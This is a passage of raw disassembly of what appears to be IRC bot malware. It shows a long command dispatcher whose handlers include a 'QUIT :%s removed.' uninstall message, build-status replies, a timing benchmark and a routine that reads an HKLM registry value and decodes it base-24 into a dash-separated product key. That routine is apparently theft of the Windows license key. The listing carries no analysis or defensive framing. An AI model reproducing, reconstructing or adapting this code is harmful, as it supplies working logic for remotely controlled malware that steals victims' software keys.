		sub	eax, dword_419E60
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADB2
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406643
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADB2:				; CODE XREF: sub_40A9CF+3C8j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4064BF
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADD9:				; CODE XREF: sub_40A9CF+3F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E48
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B0B6
		and	[ebp+var_9F8], 0
		mov	[ebp+var_A1C], 0C8h
		push	0Ch
		pop	ecx
		mov	esi, offset dword_419E14
		lea	edi, [ebp+var_9D8]
		rep movsd
		movsb
		push	5
		pop	ecx
		mov	esi, offset dword_419DFC
		lea	edi, [ebp+var_8B8]
		rep movsd
		movsb
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_9F8]
		push	eax
		push	20019h
		push	0
		lea	eax, [ebp+var_9D8]
		push	eax
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40AE7D
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AE78
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey


loc_40AE78:				; CODE XREF: sub_40A9CF+49Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AE7D:				; CODE XREF: sub_40A9CF+485j
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_A1C]
		push	eax
		lea	eax, [ebp+var_9A4]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_8B8]
		push	eax
		push	[ebp+var_9F8]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40AEE7
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AEE2
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey


loc_40AEE2:				; CODE XREF: sub_40A9CF+505j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AEE7:				; CODE XREF: sub_40A9CF+4EFj
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey
		push	7
		pop	ecx
		mov	esi, offset aALSsSCJEKi	; "¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›"
		lea	edi, [ebp+var_A18]
		rep movsd
		movsb
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_9DB], 0
		mov	[ebp+var_8DC], 18h
		jmp	short loc_40AF3E
; ---------------------------------------------------------------------------


loc_40AF31:				; CODE XREF: sub_40A9CF+60Bj
		mov	eax, [ebp+var_8DC]
		dec	eax
		mov	[ebp+var_8DC], eax


loc_40AF3E:				; CODE XREF: sub_40A9CF+560j
		cmp	[ebp+var_8DC], 0
		jl	loc_40AFDF
		and	[ebp+var_A20], 0
		mov	[ebp+var_A24], 0Eh
		jmp	short loc_40AF6B
; ---------------------------------------------------------------------------


loc_40AF5E:				; CODE XREF: sub_40A9CF+5EFj
		mov	eax, [ebp+var_A24]
		dec	eax
		mov	[ebp+var_A24], eax


loc_40AF6B:				; CODE XREF: sub_40A9CF+58Dj
		cmp	[ebp+var_A24], 0
		jl	short loc_40AFC0
		mov	eax, [ebp+var_A20]
		shl	eax, 8
		mov	ecx, [ebp+var_A24]
		movzx	ecx, [ebp+ecx+var_970]
		add	eax, ecx
		mov	[ebp+var_A20], eax
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_A24]
		mov	[ebp+ecx+var_970], al
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	[ebp+var_A20], edx
		jmp	short loc_40AF5E
; ---------------------------------------------------------------------------


loc_40AFC0:				; CODE XREF: sub_40A9CF+5A3j
		mov	eax, [ebp+var_8DC]
		mov	ecx, [ebp+var_A20]
		mov	cl, [ebp+ecx+var_A18]
		mov	[ebp+eax+var_9F4], cl
		jmp	loc_40AF31
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: sub_40A9CF+576j
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105AD
		pop	ecx
		and	[ebp+var_8BB], 0
		mov	[ebp+var_8C1], 2Dh
		mov	al, [ebp+var_8C1]
		mov	[ebp+var_8C7], al
		mov	al, [ebp+var_8C7]
		mov	[ebp+var_8CD], al
		mov	al, [ebp+var_8CD]
		mov	[ebp+var_8D3], al
		push	5
		lea	eax, [ebp+var_9F4]
		push	eax
		lea	eax, [ebp+var_8D8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EF]
		push	eax
		lea	eax, [ebp+var_8D2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EA]
		push	eax
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E5]
		push	eax
		lea	eax, [ebp+var_8C6]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E0]
		push	eax
		lea	eax, [ebp+var_8C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8D8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B0B6:				; CODE XREF: sub_40A9CF+41Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DCC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B11C
		mov	[ebp+var_8], 1
		movsx	eax, [ebp+var_19]
		test	eax, eax
		jz	short loc_40B0E6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0E6:				; CODE XREF: sub_40A9CF+706j
		movsx	eax, [ebp+var_B]
		test	eax, eax
		jz	short loc_40B0FD
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0FD:				; CODE XREF: sub_40A9CF+71Dj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx


loc_40B117:				; CODE XREF: sub_40A9CF+715j
					; sub_40A9CF+72Cj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B11C:				; CODE XREF: sub_40A9CF+6FAj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DBC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B143
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414EB0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B143:				; CODE XREF: sub_40A9CF+760j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DB0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B247
		push	8
		pop	ecx
		mov	esi, offset dword_419D8C
		lea	edi, [ebp+var_A5C]
		rep movsd
		movsb
		mov	esi, offset dword_419D84
		lea	edi, [ebp+var_A38]
		movsd
		movsw
		movsx	eax, [ebp+var_A38]
		mov	ecx, off_41DA40
		movsx	ecx, byte ptr [ecx]
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_A30], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1AD
		mov	[ebp+var_63E4],	offset dword_419D78
		jmp	short loc_40B1B7
; ---------------------------------------------------------------------------


loc_40B1AD:				; CODE XREF: sub_40A9CF+7D0j
		mov	[ebp+var_63E4],	offset dword_419D68


loc_40B1B7:				; CODE XREF: sub_40A9CF+7DCj
		mov	eax, [ebp+var_63E4]
		mov	[ebp+var_A28], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1D8
		mov	[ebp+var_63E8],	offset aThisBuildIsFul ; "This build is	fully functional"
		jmp	short loc_40B1E2
; ---------------------------------------------------------------------------


loc_40B1D8:				; CODE XREF: sub_40A9CF+7FBj
		mov	[ebp+var_63E8],	offset aThisBuildIsBro ; "This build is	broken and will	not funct"...


loc_40B1E2:				; CODE XREF: sub_40A9CF+807j
		mov	eax, [ebp+var_63E8]
		mov	[ebp+var_A2C], eax
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+var_A2C]
		push	[ebp+var_A28]
		mov	eax, dword_41EC00
		and	eax, 0FFFFh
		push	eax
		movsx	eax, byte ptr dword_41DA20
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_A5C]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105AD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B247:				; CODE XREF: sub_40A9CF+787j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419D08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B28E
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_405E45
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B28E:				; CODE XREF: sub_40A9CF+88Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B2C5
		mov	eax, [ebp+arg_18]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4167DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B2C5:				; CODE XREF: sub_40A9CF+8D2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CF0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B2EF
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CE4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B300


loc_40B2EF:				; CODE XREF: sub_40A9CF+909j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D74D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B300:				; CODE XREF: sub_40A9CF+91Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CD4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B335
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403260
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B335:				; CODE XREF: sub_40A9CF+944j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CC8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B36A
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40260D
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B36A:				; CODE XREF: sub_40A9CF+979j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3A5
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406509
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3A5:				; CODE XREF: sub_40A9CF+9AEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CA8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3DA
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41665C
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3DA:				; CODE XREF: sub_40A9CF+9E9j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C98
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B426
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B3FD
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3FD:				; CODE XREF: sub_40A9CF+A27j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B426:				; CODE XREF: sub_40A9CF+A1Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B44C
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_401146
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B44C:				; CODE XREF: sub_40A9CF+A6Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B47D
		push	0
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B47D:				; CODE XREF: sub_40A9CF+A90j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C70
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4AE
		push	1
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4AE:				; CODE XREF: sub_40A9CF+AC1j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C64
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4D5
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_409BF1
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4D5:				; CODE XREF: sub_40A9CF+AF2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C5C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B508
		push	offset dword_41EF18
		push	offset dword_419C4C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B508:				; CODE XREF: sub_40A9CF+B19j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C40
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B536
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413FE7
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B536:				; CODE XREF: sub_40A9CF+B4Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C34
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C28
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5A7


loc_40B575:				; CODE XREF: sub_40A9CF+B7Aj
					; sub_40A9CF+B8Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413AB0
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5A7:				; CODE XREF: sub_40A9CF+BA4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5CE
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41417D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5CE:				; CODE XREF: sub_40A9CF+BEBj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B631
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40B61B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_41673F
		pop	ecx
		test	eax, eax
		jnz	short loc_40B601
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B601:				; CODE XREF: sub_40A9CF+C2Bj
		push	104h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_41EC10
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B61B:				; CODE XREF: sub_40A9CF+C1Bj
		push	offset dword_41EAFC
		push	offset dword_41EC10
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40B62C:				; CODE XREF: sub_40A9CF+C4Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B631:				; CODE XREF: sub_40A9CF+C12j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B678
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414600
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B678:				; CODE XREF: sub_40A9CF+C75j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B791
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B69F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B69F:				; CODE XREF: sub_40A9CF+CC9j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		shl	eax, 1
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A68],	eax
		cmp	[ebp+var_5A68],	0
		jnz	short loc_40B6C8
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B6C8:				; CODE XREF: sub_40A9CF+CF2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_5A68]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40EB4E
		add	esp, 0Ch
		push	[ebp+var_5A68]
		push	offset dword_419BC4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A68]
		call	sub_416B4C	; free
		pop	ecx
		push	1000h
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_4104A3
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_A60], eax
		and	[ebp+var_1A64],	0
		jmp	short loc_40B743
; ---------------------------------------------------------------------------


loc_40B736:				; CODE XREF: sub_40A9CF+D9Bj
		mov	eax, [ebp+var_1A64]
		inc	eax
		mov	[ebp+var_1A64],	eax


loc_40B743:				; CODE XREF: sub_40A9CF+D65j
		cmp	[ebp+var_1A64],	186A0h
		jge	short loc_40B76C
		push	1000h
		lea	eax, [ebp+var_5A64]
		push	eax
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		jmp	short loc_40B736
; ---------------------------------------------------------------------------


loc_40B76C:				; CODE XREF: sub_40A9CF+D7Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_A60]
		push	eax
		push	offset aItTookMeUms_ ; "It took	me %ums."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B791:				; CODE XREF: sub_40A9CF+CBCj
		mov	eax, [ebp+var_1A8]
		sub	eax, off_419BA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B823
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B7B4
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7B4:				; CODE XREF: sub_40A9CF+DDEj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A6C],	eax
		cmp	[ebp+var_5A6C],	0
		jnz	short loc_40B7DB
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7DB:				; CODE XREF: sub_40A9CF+E05j
		push	[ebp+var_5A6C]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_5A6C]
		and	byte ptr [ecx+eax], 0
		push	[ebp+var_5A6C]
		push	offset dword_419B88
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A6C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B823:				; CODE XREF: sub_40A9CF+DD5j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B78
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B873
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B85C
		push	offset dword_41EF18
		push	offset dword_419B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------


loc_40B85C:				; CODE XREF: sub_40A9CF+E70j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41EF18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40B86E:				; CODE XREF: sub_40A9CF+E8Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B873:				; CODE XREF: sub_40A9CF+E67j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B58
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B899
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4097A7
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B899:				; CODE XREF: sub_40A9CF+EB7j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B4C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8C7
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403FE5
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8C7:				; CODE XREF: sub_40A9CF+EDDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B3C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8ED
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4098F3
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8ED:				; CODE XREF: sub_40A9CF+F0Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B91B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406722
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B91B:				; CODE XREF: sub_40A9CF+F31j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B20
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B949
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B949:				; CODE XREF: sub_40A9CF+F5Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B14
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B98A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A1A7
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B98A:				; CODE XREF: sub_40A9CF+F8Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9BF
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A50E
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9BF:				; CODE XREF: sub_40A9CF+FCEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9F5
		push	offset dword_41EAFC
		push	offset aQuitSRemoved_ ;	"QUIT :%s removed."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	36EE80h
		call	dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9F5:				; CODE XREF: sub_40A9CF+1003j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ADC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BA79
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA18
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA18:				; CODE XREF: sub_40A9CF+1042j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41DA80
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BA41
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63EC],	eax
		jmp	short loc_40BA4B
; ---------------------------------------------------------------------------


loc_40BA41:				; CODE XREF: sub_40A9CF+1062j
		mov	[ebp+var_63EC],	offset byte_41DE00

